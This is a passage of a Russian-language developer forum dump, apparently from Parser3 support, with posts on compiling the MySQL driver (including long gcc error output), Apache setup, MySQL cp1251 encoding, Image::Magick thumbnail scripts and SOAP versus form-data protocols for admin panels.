    ^out.menu{\
<tr>\
    <td>....</td>\
</tr>\
    }\
</table>\
}\
Если в одной строке:\
^if($out){\
<table ....>\
<tr>\
    ^out.menu{\
    <td>....</td>\
    }\
</tr>\
</table>\
}\
[/code]"
"37551","FreeBSD-SPARC64, gc6.4. Парсер не компилится (скомпилённое под FreeBSD-I386 не подходит). Может кто подскажет - как его побороть?"
"37552","Насколько я понял, нужна какая-то система мониторинга. \"Сайт сети\" - шо це? внешний? Такой сайт, чтобы твой шеф сидя дома мог видеть какой из компов включен? Тогда весьма странная задача. Если это внутренний мониторинг, то возможно подойдут специализированные системы мониторинга типа ms-SMS или OpenView. Возможно есть и не такие монстровые, мелкие системы для решения именно такой задачи."
"37553","В базе данных имеется столбец id(заполняется автомотически).Как \
выбрать последний id и записть его в переменную? >>"
"37555","Миша, auth.p подружить с SQL Server совсем нельзя, да?\
\
Я сконвертировал database shema с помощью Sybase, но на исправлениях кода запросов (\"!-\"  -> \"<>\" и т.п.) сломался и плюнул. Может, я что неправильно делаю и шанс есть?"
"37556","попробую на досуге проверить (разок использовали, но просто внесли изменения в класс, причем делал это не я, а то-бы я внес совместимые изменения и в cvs...)"
"37557","Поставил Апач 2.0 и сверху программу exe установки Парсера для Виндовз. Ошибок не выдает, но отображает на документе помимо того что надо функции, например -- @body_main[] и т.д. Может ему Апач 1.3 предпочтительнее?"
"37559","а с чем тогда может быть связан этот казус?"
"37561","большое спсибо Вам поищу а если наду то попробую"
"37562","я новичок в работе с этой прогой но мне кажеться что в инструкции было указанно что он потдерживает такой язык как перл. Но прочитав более подробно у него многих функций перла нет можно ли их дописать"
"37564","т.к. собран другой версией gcc и требует наличия другой glib (2.3 кажется)"
"37565","Вы пишете чушь, я читаю FAQ. Если спрашиваю на форуме, значит не нашёл там ответа на свой вопрос. Мне проще FAQ читать, чем со снобами общаться."
"37566","[code]RewriteRule   ^/~([^/]+)/?(.*)    /u/$1/$2  [R][/code]\
\
я так понял, что вот это.\
\
правильна ли запись?\
[code]RewriteRule	^/inrial/people2/user/?(.*)	/people2/user/$1[/code]"
"37567","За 20 статических страничек и 1 динамический раздел - 1000-1500 у.е., конечно, хорошая цена, но некоторые из предлагающих здесь свои услуги этого не достойны.\
\
ИМХО!"
"37568","«[quot]If you want a thing done well,\
do it yourself.[/quot]»\
\
       [color=\"#999999\"]# Napoleon Bonaparte[/color]"
"37569","Вопрос к разработчикам: \
Планируется ли в будущем добавить к арсеналу стандартных классов классы для работы с веб сервисами?\
То есть, чтоб можно было создать класс с \"веб-методами\" указав конструктору WSDL-профиль (или, как пишут, WSDL-контракт)? И, соответственно, чтоб эти методы принимали и возвращали \"нормальные\" парсеровские типы данных (в смысле string, hash, int итд.)? Короче, аналогично тому, как это реализовано в .NET ;-) \
Я интересуюсь именно встроенной поддержкой данной функциональности, потому что если ее реализовывать на самом парсере, то это будет куда медленне скомпилированного C++.\
\
\
Теперь пара слов о практическом применении:\
Я думаю для взаимодейсвия панели управления (клиент) с сайтом (сервер) использовать API, построенный на веб-сервисах. Дело в том, что у меня часть информации хранится в БД, а часть в XML-файлах, и я бы хотел иметь возможность ее модифицировать, вызывая соответствующие закрытые (требующие аутентификации) web-методы из клиенстого приложения, написанного, например, на C#. \
SOAP отлично поддерживается в .NET, но на парсере мне придется работать с этим протоколом на низком уровне, разбирая вручную каждый xml.\
\
Как я понял, Студия (если с большой буквы -- значит самизнаетекого :-) использует WinForms.NET приложения (не веб-интерфейс) для управления контентом на сайтах. Но в данном случае, я думаю, у разработчиков не возникает особой потребности в работе с веб-сервисами, потому что весь сайт хранится в БД и, имея возможность внешних подключений к серверу, администрирование реализуется через SQL (конечно я немного утрирую, а может и вовсе заблуждаюсь).\
\
К сожалению, у меня нет выделенной базы данных с внешними коннектами, да и деревья (я говорю о структуре страниц сайта) мне в таблицах хранить не очень удобно. \
\
Хотел бы услышать мнения, конструктивную критику, опытные змечания о таком подходе к построению CMS, когда админка реализуется не на веб-интерфейсе, а на полноценном gui-приложении."
"37570","Как всегда все сделал как написано, ну или так думаю, но результат не работает.\
\
Выдает ошибку: 5 - не получилось выполнить pl скрипт.\
\
Вопрос: Что это означает?\
\
так же интересно какие права надо выставить на images.pl?\
\
images.pl находится в /cgi-bin/images.pl. путь от корня веб пространства немного длиньше, но его использование ничего не дало.\
\
с $.script_path[/cgi-bin] я немного не понял отсюда перпробовал все варианты которые только могут прийти в голову, но почти всегда ошибка №5 или №7 иногда...\
\
[code]\
$source_path[/]\
$destination_path[/small/]\
\
^if(def $form:pict && $form:pict is \"file\"){\
	$x_size(^form:size.int(200))\
	$extension[^file:justext[$form:pict.name]]\
	$image_name[1.^extension.lower[]]\
	^if(!^images:save[$form:pict;$source_path;$image_name]){\
		^images:resize[\
			$.script_path[/cgi-bin]\
			$.source_path[$source_path]\
			$.destination_path[$destination_path]\
			$.image_name[$image_name]\
			$.x_size[$x_size]\
		]\
\
		$response:refresh[ $.value[0] $.url[$request:uri] ]\
	}{\
		Файл не сохранен&hellip^;\
	}\
}{                                           \
	Заполните все поля формы&hellip^;\
}         \
[/code]\
\
В списке модулей Perl есть Image::Magick. Хостинг www.arbatek.ru\
путь к Perl - /usr/bin/perl\
\
Если в форуме есть ответ, и вы знаете где, пришлите ссылочку.\
спасибо."
"37571","Ближе к концу страницы есть такой заголовок:\
\
[b]Я в браузере вижу код на Parser, он не обработался, в чем может быть причина (использую веб-сервер Apache)?[/b]\
\
Почитайте. Может быть FAQ все таки поможет?"
"37572","А права должны быть 755"
"37573","FAQ дейстивтельно читается невнимательно, - там по этому поводу написано:\
[quote]\
Я в браузере вижу код на Parser, он не обработался, в чем может быть причина (использую веб-сервер Apache)? \
Парсер все-таки не назначен обработчиком ваших документов.\
...\
[/quote]\
И нечего людей оскорблять."
"37574","if you want something to be done well, do it yourself"
"37575","На локальной машине все хорошо, хотя мне это совершенно не нужно. \
\
И что означает ошибка №5 - не получилось выполнить pl скрипт, толи не правильно указан путь, толи нет самого файла (он есть точно)."
"37576","Люди, помогите сообразить простой скроллер. \
Показ пред-х n записей и след-х n записей. Limit, offset - это понятно. Но вот с циклом не соображу.\
То, что в примерах - слишком мудрёно пока.\
А  пример гостевой на втором парсере - вообще джунгли, т.к. сразу знакомство с третьей версией начал."
"37577","я не уверен, что если вы не можете разобраться с примерами в которых полно комментариев у вас получится сделать это сейчас самому.\
\
и неужели это сложно для использования:\
[code]\
^user[scroller.p]\
$pages[^scroller::init[$всего_записей;$сколько_показываем_на_странице]]\
^pages.print[\
  $.mode[html]\
]\
[/code]\
\
???\
\
P.S. это обсуждалось, попробуйте найти в форуме."
"37580","Хм...\
Не знаю кто как, но если я сейчас подключу готовый, то не знаю, начну ли когда-нить с ним разбираться.\
-----------\
Ранее я задавал вопрос про обновление записей. Мне там линк кинули, но малость не то было.\
Я убил три дня, но сделал сам тремя способами. Получилось даже лучше. \
Не просто изменение имеющихся записей по любым полям, а также \"быстрое\" добавление новых записей на основе старых \
(через INSERT и уникальное значение по одному из столбцов) + другие приятные мелочи.\
Для вас фигня, а мне важно!\
-----------\
Поэтому всё-таки на основе готовых решений попробую сообразить свой простенький.\
Просто запарился чего-то....."
"37583","В действительности, при переносе данные записались не в настоящей cp1251, а как binary.\
\
Теперь о решении проблемы с кириллицей в MySQL 4.1. Вначале узнаем настройки кодировок у сервера БД:\
[code]\
$a[^table::sql{SHOW VARIABLES LIKE 'character%'}]\
^a.join[^table::sql{SHOW VARIABLES LIKE 'collation%'}]\
^a.menu{$a.Variable_name = $a.Value}[<br>]\
[/code]\
\
Изменяем переменные:\
[code]\
^void:sql{SET character_set_client = cp1251}\
\
# [b]любознательным:[/b] если поставить либо utf8_bin у collation_connection, либо ClientCharset=utf-8 в строке подключения \"Парсера\", кириллица [i]отображается[/i], но символьные функции не работают [\"лайки\" (LIKE), например, не смогут привести строку к единому регистру]\
# collation_connection = cp1251_general_ci пропишет еще character_set_connection = cp1251\
^void:sql{SET collation_connection = cp1251_general_ci}\
\
^void:sql{SET character_set_results = cp1251}\
[/code]\
\
У таблиц, на всякий случай, прописана кодировка: TABLE CREATE ... (...) CHARSET=cp1251.\
\
Вероятно, в следующих версиях \"Парсер\" должен научиться указывать MySQL 4.1 параметры работы с кодировками (измените ClientCharset - придется поправлять character_set_client, character_set_results)."
"37584","Проблема касалась не полей TEXT, а любых символьных полей, созданных после перехода на MySQL 4.1.1."
"37585","Мне кажется, что проблемы быстродействия для задач управления сайтом несколько надуманы. Администраторов у сайта как правило не так, чтобы уж очень много, и особую нагрузку на сервер им обеспечить не удасться. У меня админка работает именно так (как standalone GUI, только на Mozilla Xulrunner, а не на .NET). Никаких проблем с web-сервисами в смысле быстродействия при том не наблюдается. Хотя я не SOAP использую, а свою реализацию xml-rpc, что конечно улучшает быстродействие. Но SOAP-запросы я раньше тоже использовал и тоже проблем не было. \
А \"разбирать вручную каждый xml\" по моему не надо :) напишите обертку, которая занимается разбором запросов и сериализацией ответов с учетом типа. Это не сложно."
"37586","Прочитал топик [b]temach[/b] и советы Константина Моршнева, но всёравно при сборке \"make\" выдаёт ошибку.\
Может есть готовый драйвер mysql, я ставлю Парсер на ASPLinux v10; Apache 2.0.52; MySql 3.23.58\
Парсер работает нормально, а общаться с mysql не хочет\
[code]\
/usr/src/p3/sql/mysql/include/mysql.h:80:27: mysql_version.h: No such file or directory\
parser3mysql.C:66: error: syntax error before `*' token\
parser3mysql.C:76: error: syntax error before `{' token\
parser3mysql.C: In function `int api_version()':\
parser3mysql.C:83: error: `SQL_DRIVER_API_VERSION' undeclared (first use this\
   function)\
parser3mysql.C:83: error: (Each undeclared identifier is reported only once for\
   each function it appears in.)\
parser3mysql.C: In function `const char* initialize(char*)':\
parser3mysql.C:87: error: `dlink' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:102: error: type specifier omitted for parameter `\
   SQL_Driver_services'\
parser3mysql.C:102: error: syntax error before `&' token\
parser3mysql.C: In function `void connect(...)':\
parser3mysql.C:105: error: `url' undeclared (first use this function)\
parser3mysql.C:124: error: `services' undeclared (first use this function)\
parser3mysql.C:125: error: 'struct Connection' has no member named 'services'\
parser3mysql.C:129: error: `connection_ref' undeclared (first use this\
   function)\
parser3mysql.C:169: error: `MYSQL_PORT' undeclared (first use this function)\
parser3mysql.C:169: error: invalid conversion from `char*' to `unsigned int'\
parser3mysql.C:177: error: `exec' undeclared (first use this function)\
parser3mysql.C: In function `void exec(Connection&, const char*)':\
parser3mysql.C:184: error: `void exec(Connection&, const char*)' used prior to\
   declaration\
parser3mysql.C:186: error: 'struct Connection' has no member named 'services'\
parser3mysql.C: In function `const char* quote(void*, const char*, unsigned\
   int)':\
parser3mysql.C:224: error: 'struct Connection' has no member named 'services'\
parser3mysql.C: At global scope:\
parser3mysql.C:230: error: type specifier omitted for parameter `Placeholder'\
parser3mysql.C:230: error: syntax error before `*' token\
parser3mysql.C: In function `void query(...)':\
parser3mysql.C:233: error: `aconnection' undeclared (first use this function)\
parser3mysql.C:234: error: `SQL_Driver_services' undeclared (first use this\
   function)\
parser3mysql.C:234: error: 'struct Connection' has no member named 'services'\
parser3mysql.C:238: error: `placeholders_count' undeclared (first use this\
   function)\
parser3mysql.C:244: error: `astatement' undeclared (first use this function)\
parser3mysql.C:251: error: `offset' undeclared (first use this function)\
parser3mysql.C:251: error: `limit' undeclared (first use this function)\
parser3mysql.C:283: error: `SQL_Error' undeclared (first use this function)\
parser3mysql.C:283: error: syntax error before `;' token\
parser3mysql.C:305: error: `handlers' undeclared (first use this function)\
parser3mysql.C:305: error: `sql_error' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:345: error: syntax error before `private'\
parser3mysql.C:347: error: 't_mysql_init' is used as a type, but is not defined\
   as a type.\
parser3mysql.C:349: error: `int (*mysql_options)(MYSQL*, mysql_option, const\
   char*)' redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:270: error: previous declaration of `int\
   mysql_options(MYSQL*, mysql_option, const char*)'\
parser3mysql.C:351: error: `MYSQL_RES*(*mysql_store_result)(MYSQL*)' redeclared\
   as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:267: error: previous declaration of `\
   MYSQL_RES* mysql_store_result(MYSQL*)'\
parser3mysql.C:353: error: `int (*mysql_query)(MYSQL*, const char*)' redeclared\
   as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:243: error: previous declaration of `int\
   mysql_query(MYSQL*, const char*)'\
parser3mysql.C:355: error: `char*(*mysql_error)(MYSQL*)' redeclared as\
   different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:208: error: previous declaration of `\
   char* mysql_error(MYSQL*)'\
parser3mysql.C:364: error: `MYSQL*(*mysql_real_connect)(MYSQL*, const char*,\
   const char*, const char*, const char*, unsigned int, const char*, unsigned\
   int)' redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:239: error: previous declaration of `\
   MYSQL* mysql_real_connect(MYSQL*, const char*, const char*, const char*,\
   unsigned int, const char*, unsigned int)'\
parser3mysql.C:366: error: `void (*mysql_close)(MYSQL*)' redeclared as\
   different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:241: error: previous declaration of `void\
   mysql_close(MYSQL*)'\
parser3mysql.C:368: error: `int (*mysql_ping)(MYSQL*)' redeclared as different\
   kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:256: error: previous declaration of `int\
   mysql_ping(MYSQL*)'\
parser3mysql.C:371: error: `long unsigned int (*mysql_escape_string)(char*,\
   const char*, long unsigned int)' redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:281: error: previous declaration of `long\
   unsigned int mysql_escape_string(char*, const char*, long unsigned int)'\
parser3mysql.C:373: error: `void (*mysql_free_result)(MYSQL_RES*)' redeclared\
   as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:271: error: previous declaration of `void\
   mysql_free_result(MYSQL_RES*)'\
parser3mysql.C:375: error: `long unsigned\
   int*(*mysql_fetch_lengths)(MYSQL_RES*)' redeclared as different kind of\
   symbol\
/usr/src/p3/sql/mysql/include/mysql.h:278: error: previous declaration of `long\
   unsigned int* mysql_fetch_lengths(MYSQL_RES*)'\
parser3mysql.C:377: error: `char**(*mysql_fetch_row)(MYSQL_RES*)' redeclared as\
   different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:277: error: previous declaration of `\
   char** mysql_fetch_row(MYSQL_RES*)'\
parser3mysql.C:379: error: `MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)'\
   redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:279: error: previous declaration of `\
   MYSQL_FIELD* mysql_fetch_field(MYSQL_RES*)'\
parser3mysql.C:381: error: `unsigned int (*mysql_num_fields)(MYSQL_RES*)'\
   redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:196: error: previous declaration of `\
   unsigned int mysql_num_fields(MYSQL_RES*)'\
parser3mysql.C:384: error: `unsigned int (*mysql_field_count)(MYSQL*)'\
   redeclared as different kind of symbol\
/usr/src/p3/sql/mysql/include/mysql.h:204: error: previous declaration of `\
   unsigned int mysql_field_count(MYSQL*)'\
parser3mysql.C:387: error: syntax error before `private'\
parser3mysql.C:392: error: `dlopen_file_spec' was not declared in this scope\
parser3mysql.C:393: error: syntax error before `if'\
parser3mysql.C:408: error: ISO C++ forbids declaration of `mysql_init' with no\
   type\
parser3mysql.C:408: error: `int mysql_init' redeclared as different kind of\
   symbol\
/usr/src/p3/sql/mysql/include/mysql.h:213: error: previous declaration of `\
   MYSQL* mysql_init(MYSQL*)'\
parser3mysql.C:408: error: `t_mysql_init' was not declared in this scope\
parser3mysql.C:408: error: syntax error before `(' token\
parser3mysql.C:409: error: ISO C++ forbids declaration of `mysql_options' with\
   no type\
parser3mysql.C:409: error: conflicting types for `int mysql_options'\
parser3mysql.C:349: error: previous declaration as `int\
   (*mysql_options)(MYSQL*, mysql_option, const char*)'\
parser3mysql.C:409: error: syntax error before `if'\
parser3mysql.C:410: error: ISO C++ forbids declaration of `mysql_store_result'\
   with no type\
parser3mysql.C:410: error: conflicting types for `int mysql_store_result'\
parser3mysql.C:351: error: previous declaration as `\
   MYSQL_RES*(*mysql_store_result)(MYSQL*)'\
parser3mysql.C:410: error: syntax error before `if'\
parser3mysql.C:411: error: ISO C++ forbids declaration of `mysql_query' with no\
   type\
parser3mysql.C:411: error: conflicting types for `int mysql_query'\
parser3mysql.C:353: error: previous declaration as `int (*mysql_query)(MYSQL*,\
   const char*)'\
parser3mysql.C:411: error: syntax error before `if'\
parser3mysql.C:412: error: ISO C++ forbids declaration of `mysql_error' with no\
   type\
parser3mysql.C:412: error: conflicting types for `int mysql_error'\
parser3mysql.C:355: error: previous declaration as `char*(*mysql_error)(MYSQL*)\
   '\
parser3mysql.C:412: error: syntax error before `if'\
parser3mysql.C:413: error: ISO C++ forbids declaration of `mysql_real_connect'\
   with no type\
parser3mysql.C:413: error: conflicting types for `int mysql_real_connect'\
parser3mysql.C:364: error: previous declaration as `\
   MYSQL*(*mysql_real_connect)(MYSQL*, const char*, const char*, const char*,\
   const char*, unsigned int, const char*, unsigned int)'\
parser3mysql.C:413: error: syntax error before `if'\
parser3mysql.C:414: error: ISO C++ forbids declaration of `mysql_close' with no\
   type\
parser3mysql.C:414: error: conflicting types for `int mysql_close'\
parser3mysql.C:366: error: previous declaration as `void (*mysql_close)(MYSQL*)\
   '\
parser3mysql.C:414: error: syntax error before `if'\
parser3mysql.C:415: error: ISO C++ forbids declaration of `mysql_ping' with no\
   type\
parser3mysql.C:415: error: conflicting types for `int mysql_ping'\
parser3mysql.C:368: error: previous declaration as `int (*mysql_ping)(MYSQL*)'\
parser3mysql.C:415: error: syntax error before `if'\
parser3mysql.C:416: error: ISO C++ forbids declaration of `mysql_escape_string'\
   with no type\
parser3mysql.C:416: error: conflicting types for `int mysql_escape_string'\
parser3mysql.C:371: error: previous declaration as `long unsigned int\
   (*mysql_escape_string)(char*, const char*, long unsigned int)'\
parser3mysql.C:416: error: syntax error before `if'\
parser3mysql.C:417: error: ISO C++ forbids declaration of `mysql_free_result'\
   with no type\
parser3mysql.C:417: error: conflicting types for `int mysql_free_result'\
parser3mysql.C:373: error: previous declaration as `void\
   (*mysql_free_result)(MYSQL_RES*)'\
parser3mysql.C:417: error: syntax error before `if'\
parser3mysql.C:418: error: ISO C++ forbids declaration of `mysql_fetch_lengths'\
   with no type\
parser3mysql.C:418: error: conflicting types for `int mysql_fetch_lengths'\
parser3mysql.C:375: error: previous declaration as `long unsigned\
   int*(*mysql_fetch_lengths)(MYSQL_RES*)'\
parser3mysql.C:418: error: syntax error before `if'\
parser3mysql.C:419: error: ISO C++ forbids declaration of `mysql_fetch_row'\
   with no type\
parser3mysql.C:419: error: conflicting types for `int mysql_fetch_row'\
parser3mysql.C:377: error: previous declaration as `\
   char**(*mysql_fetch_row)(MYSQL_RES*)'\
parser3mysql.C:419: error: syntax error before `if'\
parser3mysql.C:420: error: ISO C++ forbids declaration of `mysql_fetch_field'\
   with no type\
parser3mysql.C:420: error: conflicting types for `int mysql_fetch_field'\
parser3mysql.C:379: error: previous declaration as `\
   MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)'\
parser3mysql.C:420: error: syntax error before `if'\
parser3mysql.C:421: error: ISO C++ forbids declaration of `mysql_num_fields'\
   with no type\
parser3mysql.C:421: error: conflicting types for `int mysql_num_fields'\
parser3mysql.C:381: error: previous declaration as `unsigned int\
   (*mysql_num_fields)(MYSQL_RES*)'\
parser3mysql.C:421: error: syntax error before `if'\
parser3mysql.C:422: error: ISO C++ forbids declaration of `mysql_field_count'\
   with no type\
parser3mysql.C:422: error: conflicting types for `int mysql_field_count'\
parser3mysql.C:384: error: previous declaration as `unsigned int\
   (*mysql_field_count)(MYSQL*)'\
parser3mysql.C:422: error: syntax error before `if'\
parser3mysql.C:428: error: syntax error before `*' token\
make[2]: *** [parser3mysql.lo] Ошибка 1\
make[2]: Leaving directory `/usr/src/p3'\
make[1]: *** [all-recursive] Ошибка 1\
make[1]: Leaving directory `/usr/src/p3'\
make: *** [all] Ошибка 2\
[/code]"
"37587","Помогите пжлста!!!\
Имеем строку вида http://site.com/?data=Имя\
К серверу приходит %xx%xx и т.д.\
Есть ли в Парсере возможность перекодировки подобной строки, например, в win-1251?\
Я понимаю, что лучше в строке передавать только латинские буквы, но вдруг и другие ситуации будут, когда сервер получит UTF, а не нужную кодировку.\
Подскажите пожалуйста!!!\
Спасибо!"
"37588","... от того, как Вы получаете этиданные. Если Вам нужно получить значение поля формы, переданной вашему скрипту (важно: формой также считаются и данные, пришедшие через GET), то просто работайти с ними через объект form ($form:data) - Парсер все перекодирует сам. Если вам пришла такая строчка, как часть внешних данных (через БД, файлы и пр.), то перекодировать прийдется самому - string.replace Вам в помощь (на форуме это неоднократно обсуждалось - ищите)."
"37589","Скомпилить удалось. Но от [code]/var/www/cgi-bin/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0[/code] избавиться не удалось\
./configure был с ключем --with-dynamic-stdcpp.\
Где здесь грабли?"
"37590","Что это означает? что может быть не так?\
фаил сохраняется большой, но вот маленький не сохраняется."
"37591","Добрый день! Столкнулся вот с какой проблемой:\
собрал пример новостей в класс news.p Так вот, разместил его в папке classes, которая в свою очередь прописана в $CLASS_PATH. А когда из index.html папки news вызываю этот класс ([code]@USE\
news.p [/code]) то парсер выдает ошибку [b]undefined method\
getArticles[/b], т.е. он не находит методы, описанные в этом классе! Причем если содержимое класса скопировать в auto.p папки news, то все ОК! Подскажите в чем дело."
"37593","как вы вызываете методы.\
\
Указываете ли вы строку?\
@CLASS\
news\
\
или же используете как обычный статический набор методов?"
"37594","Если не правильно указан путь к скрипту — вылетает 7-ая ошибка, если нет исходного файла, т.е. картинки — 3-ая.\
\
А вообще странно. У меня наобарот на локальной не работает, да мне оно и не нужно :)"
"37596","…То и вызывать надо методы класса так:\
\
[code]\
^news:getArticles[]\
[/code]"
"37597","Не знаю! Вреде бы ничего и не делал, но вдруг все взяло, да заработало! Извините за глупое беспокойствие!"
"37598","Можно ли объединить две и более таблицы (объект класса table) так, чтобы в памяти не создавалась новая таблица, копирующая все данные из таблиц в себя?\
\
Как это сделать, если возможно?\
\
Может быть простой ^table.join[$table2] так работает? Но судя по результатам моих проверок - это не так."
"37599","мне помогло (ключ --with-dynamic-stdcpp) при сборке драйвера pgsql gcc3.x, а вообще ПАФ пишет по этому поводу:\
[quote]\
это выходит, что libtool[лежащий в моём cvs] не знает, как быть с вашей версией gcc.\
вывод только один: ковырять команду компоновки руками.\
\
1. найти её глазами в списке выполняемого по make.\
2. copy\
3. paste\
4. change. \
	был флаг, разрешить не-resolved-символы (когда будет запускаться основной бинарник, они БУДУТ resolved).\
	если этот флаг не найдёте, просто подкомпонуйте C++ библитеку ещё раз:\
		-lstdc++\
	[почему libtool так не делает ВСЕГДА, мне неизвестно]\
[/quote]"
"37600","Проблемма решилась правкой таблицы драйверов в конфигурационном файле.\
\
Обидно что русские пишут коментарии на английском, а если английский не знаешь то тут полный абзац. А знающему английский коментарии не очень нужны."
"37601","совсем забыл драйвер скомилился когда в makefile вписал -lstdc++"
"37602","Тут по ходу дела пришла мне мысль. При построении взаимодействия меджу GUI-админкой и сайтом на Parser с неизбежностью возникает проблема выгрузки на сервер бинарных файлов (картинок, например). Тупо в лоб проблема, естественно, решается скриптом на Перле (куда заодно можно и враппер к ImageMagick засунуть), но вот тут выясняется, что протокол на XML не катит, для передачи бинарников в XML запросах нужно всячески извращаться, в скрипте делать всякие проверки прав неизвестно как etc. Сейчас дошли руки избавится от Перла, отправляя из админки файлы в формате multipart/form-data (кодируя тело XMLHttpRequest соответствующим образом). В таком разе Parser прекрасно распознает данные в form:filename, никакого Perl уже не нужно. \
Внимание, вопрос :) Если для передачи файлов без типа multipart/form-data не обойтись - зачем вообще заворачивать любой запрос в XML ? Почему не сделать протокол, который на сервер будет отдавать данные, кодированные как пост формы, а получать - уже ответ в XML (это понятно, XML на клиенте проще разбирать). В этом случае проблемы написания своих классов для разбора XML-запросов отпадают, можно привычно работать с form:fields ! Как следствие - никаких проблем с быстродействием. И просьб к ПАФу по написанию функций для SOAP :)"
"37603","Если я правильно понимаю, то при десериализации объектов, хранящихся в xml, объекты типа base64Binary/hexBinary (определены в XML Schema) будут соответствовать объекту класса file(двоичного) в парсере. И вроде бы никаких проблем. Правда, я не понял что вы имели ввиду под \"проверкой прав\"?\
\
Конечно, можно придумать свой протокол, ровно как можно написать и свою технологию разделения html от данных и свой механизм шаблонов и придумать свои правила для сериализации объектов. Но зачем тогда существуют мировые стандарты?\
\
Я понимаю, kiril, что вы исходите из текущих обстоятельств, и если нет поддержки wsdl, и десериализацию объектов тоже нельзя самому в полной мере реализовать на парсере (на данный момент нет методов для конвертации из base64), то придется работать с обходными решениями. Но именно, что [i]придется[/i] (вынужненно, с затратой лишних сил и времени). И просить paf'а добавить данную функциональность нужно обязательно и всем хором!"
"37604","Не понимаю вашего сарказма по этому поводу.\
\
Организовать среду для полноценного развития проекта с открытым исходным кодом -- очень сложная задача. Нужно распределять обязанности, вести контроль версий, обеспечивать разработчиков актуальной информацией, выкладывать сырые версии для тестирования, обновлять документацию итд. \
Возможно, вам не доводилось бывать на сайтах, подобных sourceforge.net? Обратите, пожалуйста, внимание на сложность организации и на объем сопроводительной информации даже для небольшого open-source проекта.\
\
На данный момент, мне кажется, что единственное место, где может развиваться (и успешно развивается) парсер -- это Студия. Сложно представить, что имея только информацию с этого сайта и возможность общаться через форум, кто-нибудь решится взяться за разработку серьезных модулей для парсера.\
\
Мой вопрос к разработчикам, я поясню, был задан с целью узнать, а нет ли у них планов добавить в будущие версии парсера поддержку wsdl? И если такая поддержка будет, то когда планируется ее релиз? Я не могу получить ответ на этот вопрос никаким другим образом. Кроме того, я не ставил целью показать недовольство или возмущение почему такой поддержки до сих пор нет. Поэтому, вашу реплику, уважаемый Sumo, я считаю необдуманной и неадекватной моему вопросу."
"37605","Насколько я понимаю Парсер фактически поддерживается и развивается одним разработчиком, который, кроме того, занимается другими проектами за которые Студия платит ему зарплату. К сожелению за три года так и не появились программисты на C++, которые были бы готовы активно развивать проект [фактически не появилось даже полезных библиотек классов на самом Парсере, а это более простая задача]. \
\
В результате вся работа по развитию Парсера свелась к простому принципу: добавляется только то, что нужно Студии для конкретных проектов. А нужно, по большому счету, не так много. При этом важно понимать, что Студия достаточно активно использует в своей работе .NET [Imprimatur II], использует БЕЗ(!) Парсера, поэтому, как мне кажется, не нуждается в имплементировании в Парсер средств, подобных WSDL, SOAP и пр. [Варианты реализации подобных протоколов, например, XML-RPC несколько раз обсуждали на форуме - это вполне реально сделать средствами Парсера.]"
"37606","Весьма печальна ситуация, когда классы дублируются в разных папках. Можно тихо сойти с ума пытаясь вызывать несуществующие методы класса, который подключился вместо того, который вы имели ввиду %)))))"
"37607","список часто возникающих ошибок, который приведён в примере, в самом низу.\
\
90% обращений ко мне - обычная невнимательность.\
\
Второе что нужно проверить, реально ли подключен imagemagick\
\
для этого создайте файл test.pl, можно в корне сайта\
\
в него впишите:\
[code]\
#!/usr/bin/perl\
\
use CGI::Carp 'fatalsToBrowser';\
\
print \"Content-type: text/plain\\n\\n\";\
use Image::Magick;\
[/code]\
\
Ну и запустите это дело. Если на экран ошибок не выпадет, значит дело точно в невнимательности, если выпадет, значит imagemagick установлен криво.\
\
Ещё о частых пользовательских багах:\
\
Те кто скачивал скрипт давно, постоянно попадаются на фишку с директориями. В Parser они создаются при сохранении файла автоматически, в Perl по умолчанию этого не происходит. Поэтому если вы пытаетесь сохранить превью картинки в папку которой нет, то как раз можете получить ошибку 5.\
Лечится просто, либо создаём директорий ручками, либо качаем новую версию, там это дело поправлено, и сделано так же как в Parser.\
\
P.S. В ближайшее время класс и пример снова обновятся, т.к. найдена масса ошибок и неточностей."
"37608","Посмотрел в форуме и в собственных классах регулярное выражение, которое должно проверять соответствие расширений: jpg, jpe, jpeg, gif, png и обнаружил ошибку, в отлове jpe.\
[code]^if(^image_name.match[^^.+\\.(jpe?g|gif|png)^$]){...}[/code]\
Раньше эта ошибка не вылазила в силу редкости использования формата jpe в сети, но всёже она есть.\
\
Проблема решается вводом в конструкцию опережающей проверки.\
[code]^if(^image_name.match[^^.+\\.(jp(?=[eg])e?g?|gif|png)^$][i]){...}[/code]\
Ещё я ввёл в выражение опцию поиска i, т.к. иногда попадаются файлы и расширения, написанные прописными буквами."
"37610","Основная проблема с Парсером и вебсервисами - именно с десереализацией бинарных данных. Только поэтому приходится заниматься написанием обходных решений со своими протоколами. В Mozilla есть поддержка SOAP, и поддерживал бы Парсер SOAP - я бы им, может, и пользовался. Так что ничего не имею против появления в Парсере такой фичи :)\
Хотя смею заметить, что формат multipart/form-data вполне себе стандартное решение, и производительность при использовании такого протокола явно близка к максимально возможной :)\
Затраты же времени на написание своего протокола (туда form-data, обратно - SOAP, XML-RPC, далее по вкусу ...) можно не учитывать, ибо обертка для клиентского приложения к вызову серверных методов (и для серверной части для сериализации ответов в нужный протокол) пишется 1 раз. Хотя для .NET это, конечно, не актуально, там точно дешевле SOAP, чем свое решение. Написать протокол form/data на .NET, который можно потом без проблем использовать, задачка, по моему, очень неслабая :)"
"37611","Помогите пожалуйста с libmysqlclient.so.\
\
Сообщения с такими проблемами на форуме читал.\
\
Перепробовал все варианты какие нашел на форуме.\
\
Администратор хостинга написал, что такого файла (libmysqlclient.so) нет. Вероятно есть libmysqlclient.a.\
\
Операционка Линукс энтерпрайз, MySQL 4.0.17. Скачивал эту версию mysql, естествнно под линукс, но в ней есть только libmysqlclient.a. \
